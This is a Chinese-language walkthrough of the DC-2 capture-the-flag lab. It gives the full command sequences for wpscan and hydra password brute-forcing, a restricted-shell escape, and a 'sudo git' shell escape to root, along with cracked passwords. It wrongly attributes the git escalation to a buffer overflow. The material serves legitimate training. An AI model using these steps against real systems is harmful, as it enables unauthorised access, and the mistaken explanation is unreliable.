DC-2 下载地址:DC and Five86 Series Challenges - Downloads编辑https://www.five86.com/downloads.html
DC-2环境配置:解压后在vm虚拟机点击左上方文件-->打开-->选择解压后的DC-2。把kali和DC-2的网路适配器都改成NAT模式
flag1
首先进行主机发现:
arp-scan -l
得知靶机ip为192.168.183.145
Nmap扫描:
nmap -A -p- 192.168.183.145
显示有80端口和7744端口,ssh服务开启
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-generator: WordPress 4.7.10
|_http-title: DC-2 – Just another WordPress site
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52517b6e70a4337ad24be10b5a0f9ed7 (DSA)
| 2048 5911d8af38518f41a744b32803809942 (RSA)
| 256 df181d7426cec14f6f2fc12654315191 (ECDSA)
|_ 256 d9385f997c0d647e1d46f6e97cc63717 (ED25519)
直接访问ip,却在访问的时候网站自动跳转dc-2,查看别人wp得知域名解析错误,需要修改host文件
windows下的hosts文件的路径是:
c:\windows\system32\drivers\etc\hosts
Linux下的hosts文件的路径是:
/etc/hosts
修改host文件:
sudo vim /etc/hosts
在里面127.0.0.1的下方增加
192.168.183.145 dc-2
成功访问80端口后得到第一个flag和提示,中文意思大概是“你平常的字典大概率不能成功,你可能需要cewl”。cewl是kali自带的一个工具,用于生成自定义字典的工具。它通过扫描目标网站或文本文件中的内容,并分析其中的单词和短语来生成字典列表,这些单词和短语可以包括用户名、电子邮件地址、电话号码以及其他与目标有关的信息。
flag2:
这里我们只需要:
先touch 文件名,在当前目录下装一个文件来放字典
touch passwd.txt
然后爬取字典
cewl http://dc-2 -w passwd.txt #通过网页从指定的URL提取词汇,并将结果保存到当前目录下名为 "passwd.txt" 的文件中。
一些cewl的相关语法:
cewl
工具的常用参数:
-w <output-file>
:指定输出字典文件的路径和名称。-d <depth>
:指定爬取页面的深度,即从目标网站开始向下爬取的层数。-m <min-word-length>
:设置生成字典中单词的最小长度。-i
:忽略重复的单词,避免在字典中生成重复的条目。-a
:将结果保存为用户名和密码对的形式,用于密码破解。-e
:将结果作为邮箱地址保存,用于社会工程学攻击。
增加爬取深度:
如果你想增加爬虫的爬取深度以生成更大的字典文件,你可以使用-d选项来指定爬取深度,默认的爬取深度为2:
cewl http://www.ignitetechnologies.in/ -d 3
提取调试信息
你可以使用--debug选项来开启调试模式,这样就可以查看网站爬取过程中出现的错误和元数据了:
cewl http://www.ignitetechnologies.in/ --debug
生成包含数字和字符的字典
如果你想生成包含数字和字符的字典文件,你可以在命令中使用–with-numbers选项:
cewl http://testphp.vulnweb.com/ --with-numbers
从插件或者观察我们能得出这个网站是WordPress,一个以PHP和MySQL开发的网站,针对这个框架我们直接使用wpscan进行扫描,该扫描器可以实现获取Wordpress站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。
wpscan常用参数
–update 更新到最新版本 –url | -u 要扫描的WordPress站点. –force | -f 不检查网站运行的是不是WordPress –enumerate | -e [option(s)] 枚举
wpscan扫描
1、扫描WordPress漏洞、版本、ip等信息 wpscan --url http://www.xxxxx.top/ 2、扫描枚举wordpress用户 wpscan --url http://www.xxxxx.top/ --enumerate u 3、扫描主题 wpscan --url http://www.xxxxx.top/ --enumerate t 4、扫描插件漏洞 wpscan --urlhttp://www.xxxxx.top/ --enumerate p 5、使用WPScan进行暴力破解在进行暴力破解攻击之前,我们需要创建对应的字典文件。输入下列命令: wpscan --url https://www.xxxxx.top/-e u --wordlist /root/桌面/password.txt 6、暴力破解用户密码 wpscan --url dc-2 user.txt -P passwd.txt 7、wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force
--ignore-main-redirect
:该参数可用于忽略网站中可能存在的主要的页面重定向,以确保扫描结果的准确性。
--url
:该参数用于指定要扫描的 WordPress 网站的 URL 地址。在本例中,扫描的目标是位于本地网络中的地址为 "192.168.1.8" 的 WordPress 网站。
--enumerate u
:该参数用于枚举所有的 WordPress 用户,以便查看是否存在弱密码或其他安全风险。
--force
:该参数用于在可能存在风险的情况下,仍然尝试对目标进行攻击和渗透测试。
本靶场爆破密码:
wpscan --url http://dc-2 --enumerate u
找到三个用户名admin、jerry、tom,将三个用户名写入user.txt中,配合刚刚收集的网站字典passwd.txt,配合wpscan再次爆破用户密码:
wpscan --url dc-2 user.txt -P passwd.txt
得到jerry用户密码为:adipiscing,tom用户密码为:parturient
这里也可以用hydra爆破:
hydra基本参数:
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 增加输出的详细程度和详细信息
Payload:
hydra -L user.txt -P pwd.dic ssh://192.168.1.104 -s 7744 -vV
-v 参数是 verbose(冗长模式)的缩写,它会提供更多的输出信息以显示 Hydra 的执行过程。通常,使用 -v 参数会显示更多的进度和状态信息,使用户能够更好地了解 Hydra 正在进行的操作。
访问WordPress默认登录界面 /wp-login.php,登录jerry的时候发现flag2
flag3:
到这里网页上的就没什么好挖掘的了,想到我们扫出来的7744端口,可以尝试进行远程登录jerry账号连接显示权限限制,继续尝试tom:
ssh tom@192.168.183.145 -p 7744
输入密码登录tom
ls发现flag3.txt但是cat之后发现反回-rbash: cat: command not found
这里有两种方法读取文件,一种是vi读取,一种是rbash逃逸。rbash 是 Restricted Bash 的缩写,是一种受限的 shell 环境。当bash以rbash这个名字启动,或者是通过-r选项调用时,那么这个shell就会受限 受限shell(以下统称为rbash)和bash相同,但以下情况是不允许rbash执行的:
- 使用命令cd更改目录
- 设置或者取消环境变量的设置(SHELL, PATH, ENV, or BASH_ENV)
- 指定包含参数'/'的文件名
- 指定包含参数' - '的文件名
- 使用重定向输出'>', '>>', '> |', '<>' '>&','&>'
大致的限制如上,具体rbash解释参考文章:https://cloud.tencent.com/developer/article/1680551
本靶场中方法一:
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a //切换shell
$ export PATH=$PATH:/bin/ //添加$PATH,cat和su都在/bin下
$ export PATH=$PATH:/usr/bin //sudo在/usr/bin下
$ cat flag3.txt
方法二:
ls发现usr,查看这个usr下的bin文件,发现vi可用,因此直接
vi flag3.txt
得到flag3,同时这里提示了要切换用户jerry
flag4:
切换用户:
su jerry
ls查目录发现flag4,也捕捉到关键词git,猜测需要git提权获得root权限
$ cat flag4.txt
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
flag5:
使用fing命令查看具有root权限的suid文件:
find / -user root -perm -4000 -print 2>/dev/null
发现有/usr/bin/sudo,可以用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help或者sudo git help config时,不需要输入root密码即可以root权限执行这条命令。
1、sudo git -p config
#在末行命令交互模式输入 !/bin/bash 或 !‘sh’ #完成提权
2、sudo git -p help
#输入!/bin/bash,即可打开一个用户为root的shell
具体过程:
jerry@DC-2:~$ sudo git -p config
usage: git config [options]
Config file location
--global use global config file
--system use system config file
--local use repository config file
-f, --file <file> use given config file
--blob <blob-id> read config from given blob object
Action
--get get value: name [value-regex]
--get-all get all values: key [value-regex]
--get-regexp get values for regexp: name-regex [value-regex]
--get-urlmatch get value specific for the URL: section[.var] URL
--replace-all replace all matching variables: name value [value_regex]
--add add a new variable: name value
--unset remove a variable: name [value-regex]
--unset-all remove all matches: name [value-regex]
--rename-section rename section: old-name new-name
--remove-section remove a section: name
!/bin/sh
# whoami
Root
发现已经是root权限了,最后一个flag就在/root的目录下